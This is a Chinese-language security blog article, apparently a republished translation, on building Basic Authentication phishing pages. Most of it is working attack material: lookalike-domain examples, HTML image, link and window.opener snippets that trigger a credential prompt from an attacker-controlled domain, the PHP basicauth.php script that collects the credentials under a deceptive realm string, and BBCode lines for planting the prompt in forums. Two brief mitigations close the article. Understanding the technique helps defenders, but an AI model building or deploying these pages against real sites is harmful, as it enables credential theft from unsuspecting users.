如何製作基礎認證釣魚頁面?

玄學醬發表於2017-09-12
本文講的是如何製作基礎認證釣魚頁面?

如何製作基礎認證釣魚頁面?

之前的一篇文章中,我介紹了一款非常受歡迎的工具——Responder,它是一款強大並且簡單易用的內網滲透神器。使用它的“基本身份驗證”提示來在Web瀏覽器中偶爾輸入無效域時竊取使用者憑據。

應該說,Responder的方法是相當不錯的,它在捕獲和響應當前域的DNS請求時非常給力。但是經過一段時間的研究,我認為基本身份驗證的方法如果被用於網路釣魚,則攻擊效率更加突出。

我之所以最喜歡基本認證,就是因為從來沒有人知道誰在對你認證,認證在哪裡結束。這種認證的混亂通常會使使用者陷入簡單的網路釣魚攻擊,從而允許攻擊者輕鬆收集使用者登入憑據。因為,一旦伺服器知道了使用者的身份,就可以判定使用者可以訪問事務和資源了;通常通過使用者名稱和密碼。

使用者應該能夠基於2個安全指標來確定基本身份驗證請求是否是真實的:

1.請求身份驗證的實體的IP地址或域,不過,這通常不能幫助使用者進行判別,因為攻擊者也可以註冊類似於可信域的域名。例如,當嘗試盜取targetdomain.com的憑據時,攻擊者可以註冊類似的域:

targetdomain.co/.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com

2. ”realm”認證引數,不過這是一個可以由攻擊者提供的任意字串。根據上下文,簡單的字串可能會欺騙使用者,讓使用者認為基本的身份驗證提示是真實的:

網路代理身份驗證要求;
長時間的沒有操作而退出登入,如要再操作還需再次登入。

說了這麼多理論,讓我舉幾個例子,其中基本的身份驗證提示可能真的讓使用者感到困惑。假設targetdomain.com是一個真正的網站,攻擊者可以簡單地註冊並控制target-domain.com,,一個可能會被一些使用者混淆的網站。

1.通過濫用HTML影像標籤獲取基本身份驗證提示

如果攻擊者可以向網站新增HTML 影像標籤,並引用攻擊者控制的域的影像,則攻擊者可以在載入影像之前強制執行基本驗證提示。以下有一個簡短的演示:

targetdomain.com/image.html是一個包含第三方網站圖片的網頁:target-domain.com。

<html>
    <body>
 
Just a funny cat image
 
        <img src="http://target-domain.com/basicauth.php" alt="Could not load image - Invalid credentils."/>
    </body>
</html>

target-domain.com/basicauth.php是一個訪問後需要基本身份驗證的第三方頁面。

<?php $valid_passwords = array ("security" => "cafe");
$valid_users = array_keys($valid_passwords);
 
$user = isset($_SERVER[`PHP_AUTH_USER`]) ? $_SERVER[`PHP_AUTH_USER`] : "";
$pass = isset($_SERVER[`PHP_AUTH_PW`])   ? $_SERVER[`PHP_AUTH_PW`]   : "";
 
$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);
 
if (!$validated) {
  header(`WWW-Authenticate: Basic realm="Corporate domain"`);
  //header(`HTTP/1.0 401 Unauthorized`);
  die ("Not authorized");
}
 
// If the user enters valid credentials, just show him a cat picture
 
header("Location: https://kpmgsecurity.files.wordpress.com/2017/06/cat.jpg")
 
?>

因此,由第三方網站上託管的影像生成基本驗證提示。可以肯定的是,在基本認證提示中輸入的任何憑據將被髮送到第三方網站。目前,基本身份驗證提示只存在於Firefox和IE上,而Chrome不會顯示。

如何製作基礎認證釣魚頁面?

2.開啟URL時獲取基本身份驗證提示

如果攻擊者可以將HTML錨點新增到網站,並新增到第三方網站的連結,則攻擊者可以向第三方網站新增基本身份驗證,並在導航發生之前提示使用者。

targetdomain.com/link.html是一個包含指向第三方網站的連結的頁面:

<html>
    <body>
 
A cool website you should visit: <a href="http://target-domain.com/basicauth.php">Click me!</a>
 
    </body>
</html>

因此,當主機頁面和URL仍然顯示給使用者時,基本身份驗證提示將顯示在載入新URL之前。基本認證提示只在Firefox和IE中顯示,而Chrome會在顯示之前解除安裝主機頁面並更新位址列。

如何製作基礎認證釣魚頁面?

3.在新選項卡中開啟URL時獲取基本身份驗證提示

如果導航發生在新選項卡中,則基本身份驗證提示可以通過利用window.opener來顯示在初始選項卡中。

targetdomain.com/newtab.html是一個包含將在新標籤頁中開啟的連結的頁面:

<html>
    <body>
 
Another cool website you should visit: <a href="http://target-domain.com/landingpage.html" target="_blank">Click me!</a>
 
    </body>
</html>

target-domain.com/landingpage.html是一個將使用者重定向到需要基本身份驗證網址的頁面:

<html>
    <head>
        <title>Nothing here</title>
    </head>
    <body>
        <script>
            window.opener.location="http://target-domain.com/basicauth.php";
        </script>
    </body>
</html>

因此,當主機頁面和URL仍顯示給使用者時,基本身份驗證提示將顯示在載入新URL的選項卡中。基本認證提示只在Firefox和IE中顯示,而Chrome在解除安裝主機頁面並更新位址列之後,才會顯示基本認證提示。

如何製作基礎認證釣魚頁面?

4.獲取Word文件中的基本身份驗證提示

如果文件包含引用第三方網站的影像模板,則基本身份驗證提示可能會出現在Word文件中。這樣的檔案可以通過電子郵件或公共網站向受害者提供,這對攻擊者來說非常方便。此外,使用Phishery可以自動建立這樣的WORD文件的過程。

如何製作基礎認證釣魚頁面?

以上只是我碰到的一些例項,其中基本認證提示以令人困惑的方式顯示給終端使用者。這些例子都是在實際生活中隨處可見,比如部落格,論壇,協作平臺,電子學習平臺都有允許使用者新增定製內容的選項,包括影像和連結。任何帶有文字編輯器的網站,允許bb程式碼(或類似的標記)很容易受到這樣的網路釣魚攻擊:

[img]http://target-domain.com/basicauth.php[/img]
<img>http://target-domain.com/basicauth.php</img>
[a]http://target-domain.com/basicauth.php[/a]
[url]http://target-domain.com/basicauth.php[/url]
... and many more examples

防止此類攻擊的兩個方法如下:

1.不允許使用者到你的網站去新增影像和連結;
2.可以過濾不需要的基本身份驗證提示,將所有外部資源與本地URL進行封裝(類似於Facebook的URL封裝)。
雖然第一個建議可能會超出許多網站的安全防護目的,但第二個建議可能很難在定製平臺上實現和維護。

如果你想在這個問題上有更多瞭解,試著調查一下移動裝置上發生的身份驗證行為。出於可用性的考慮,移動瀏覽器在安全性方面做了很多妥協,比如,允許更換位址列中的URL的頁面標題,顯示SSL證照的細節,幾乎不會檢視當前頁面的原始碼等。

原文釋出時間為:2017年9月12日
本文作者:xiaohui 
本文來自雲棲社群合作伙伴嘶吼,瞭解相關資訊可以關注嘶吼網站。


相關文章